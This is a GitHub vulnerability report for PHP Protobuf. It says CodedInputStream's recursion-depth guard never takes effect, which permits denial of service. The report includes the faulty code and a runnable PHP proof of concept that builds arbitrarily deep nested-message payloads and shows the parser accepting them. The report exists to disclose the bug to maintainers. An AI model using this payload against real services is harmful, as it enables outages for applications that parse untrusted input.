Skip to content

The recursion limit does not function correctly, allowing arbitrarily deep nested messages and resulting in a denial-of-service (DoS). #25067

@34selen

Description

@34selen
  1. Summary
    PHP Protobuf CodedInputStream’s recursion-limit handling is wrong, so the default depth limit of 100 is not applied; it will parse arbitrarily deep nested messages, allowing stack/CPU exhaustion DoS.

  2. Description
    Expected flow
    parseFromString → GPBWire::readMessage →incrementRecursionDepthAndPushLimit / decrementRecursionDepthAndPopLimit should decrement/restore the depth counter, then block when $recursion_limit < 0.

Vulnerable code (Root Cause):
php/src/Google/Protobuf/Internal/CodedInputStream.php

public function incrementRecursionDepthAndPushLimit(
$byte_limit, &$old_limit, &$recursion_budget)
{
$old_limit = $this->pushLimit($byte_limit);
$recursion_limit = --$this->recursion_limit; // decreased value not written to by-ref
}

public function decrementRecursionDepthAndPopLimit($byte_limit)
{
$result = $this->consumedEntireMessage();
return $result;
}

On entry, --$this->recursion_limit is stored only in a local variable, so the caller GPBWire::readMessage() receives $recursion_limit by ref but it is always 0.
On exit, the decreased counter is not restored; instead $recursion_budget is increased.
Thus GPBWire::readMessage()’s guard:

$old_limit = 0;
$recursion_limit = 0;
$input->incrementRecursionDepthAndPushLimit($length, $old_limit, $recursion_limit);
if ($recursion_limit < 0 || !$message->parseFromStream($input)) {
return false;
}

Here $recursion_limit is always 0, so the limit is permanently bypassed.

3.PoC
File: php/recursion_bypass_poc.php

<?php
require_once __DIR__ . '/src/Google/Protobuf/Internal/CodedInputStream.php';
require_once __DIR__ . '/src/Google/Protobuf/Internal/GPBWire.php';
require_once __DIR__ . '/src/Google/Protobuf/Internal/GPBType.php';
require_once __DIR__ . '/src/Google/Protobuf/Internal/GPBDecodeException.php';
require_once __DIR__ . '/src/Google/Protobuf/Internal/GPBUtil.php';
use Google\Protobuf\Internal\CodedInputStream;
use Google\Protobuf\Internal\GPBWire;

class RecursiveFrame
{
    public static $maxDepth = 0;

    private $depth;

    public function __construct($depth = 0)
    {
        $this->depth = $depth;
        self::$maxDepth = max(self::$maxDepth, $depth);
    }

    public function parseFromStream($input)
    {
        while (true) {
            $tag = $input->readTag();
            if ($tag === 0) {
                return true;
            }

            $field = GPBWire::getTagFieldNumber($tag);
            $wireType = GPBWire::getTagWireType($tag);

            if ($field === 1 && $wireType === GPBWire::WIRETYPE_LENGTH_DELIMITED) {
                $nested = new self($this->depth + 1);
                if (!GPBWire::readMessage($input, $nested)) {
                    return false;
                }
            } else {
                // Unknown field: fail fast for clarity.
                return false;
            }
        }
    }
}

function encodeVarint($value)
{
    $bytes = '';
    while (true) {
        $byte = $value & 0x7f;
        $value >>= 7;
        if ($value) {
            $bytes .= chr($byte | 0x80);
        } else {
            $bytes .= chr($byte);
            break;
        }
    }
    return $bytes;
}

/**
 * Builds a length-delimited chain of nested messages on field #1.
 */
function buildNestedPayload($depth)
{
    $payload = '';
    for ($i = 0; $i < $depth; $i++) {
        $len = strlen($payload);
        $payload = "\x0A" . encodeVarint($len) . $payload; // tag = 1 (0x0A)
    }
    return $payload;
}

$depth = isset($argv[1]) ? (int)$argv[1] : 150;
$payload = buildNestedPayload($depth);
$messageBytes = encodeVarint(strlen($payload)) . $payload;

$input = new CodedInputStream($messageBytes);
$root = new RecursiveFrame(0);
$ok = GPBWire::readMessage($input, $root);

echo "Requested depth: {$depth}\n";
echo "Parsed depth:    " . RecursiveFrame::$maxDepth . "\n";
echo "Parse result:    " . ($ok ? "success (guard bypassed)" : "failure") . "\n";

Run: php php/recursion_bypass_poc.php 15000

Example result:

Requested depth: 15000 Parsed depth: 15000 Parse result: success (guard bypassed)

It should fail near 100 but keeps parsing. Checking CPU usage shows one core at 100%; on multi-core servers, sending simultaneous deeply nested requests saturates all cores and the service becomes unresponsive.

Attack scenario
Impact
The recursion limit does not work, so any PHP protobuf consumer parsing untrusted input can be DoS’d with deeply nested messages that exhaust stack/CPU. No authentication required.

Metadata

Metadata

Assignees

No one assigned

    Labels

    phpuntriagedauto added to all issues by default when created.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions